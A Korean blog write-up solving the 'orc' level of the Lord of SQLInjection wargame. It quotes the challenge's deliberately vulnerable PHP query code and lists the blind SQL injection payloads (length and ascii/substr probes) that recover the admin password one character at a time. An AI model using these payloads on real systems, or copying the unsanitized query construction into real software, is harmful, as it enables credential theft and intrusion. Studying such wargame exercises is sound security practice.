소스
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
코드 흐름을 보니, Blind Sql Injection을 이용하라는 것 같다.
위아래 문단을 기준으로,
위에서 참/거짓 쿼리를 통해 비밀번호를 알아낸 뒤에
비밀번호를 직접 얻어내서 아래 문단에 적용해야 한다.
admin의 비밀번호 자릿수 알아내기
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and length(pw)=8 and '1'
-> 8자리에서 Hello Admin이 출력된다. 이 쿼리는 참이므로 Admin의 비밀번호 길이는 8자리.
이제 이걸 이용해서 프로그램을 돌리면 되는데, 서버가 아플까봐 직접 손수 이진검색을 하며 풀었다.
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,1,1))=48 and '1'
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,2,1))=57 and '1'
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,3,1))=53 and '1'
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,4,1))=97 and '1'
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,5,1))=57 and '1'
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,6,1))=56 and '1'
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,7,1))=53 and '1'
query : select id from prob_orc where id='admin' and pw='1' or id='admin' and ascii(substr(pw,8,1))=50 and '1'
아스키 코드값 조합
얻어낸 값들 : 48 57 53 97 57 56 53 50
조합 : 095a9852
입력
query : select id from prob_orc where id='admin' and pw='095a9852'
'[웹해킹] > [LOS]' 카테고리의 다른 글
[LOS] DARKELF (0) | 2020.12.13 |
---|---|
[LOS] WOLFMAN (0) | 2020.12.12 |
[LOS] GOBLIN (0) | 2020.12.11 |
[LOS] COBOLT (0) | 2020.12.10 |
[LOS] GREMLIN (0) | 2020.12.09 |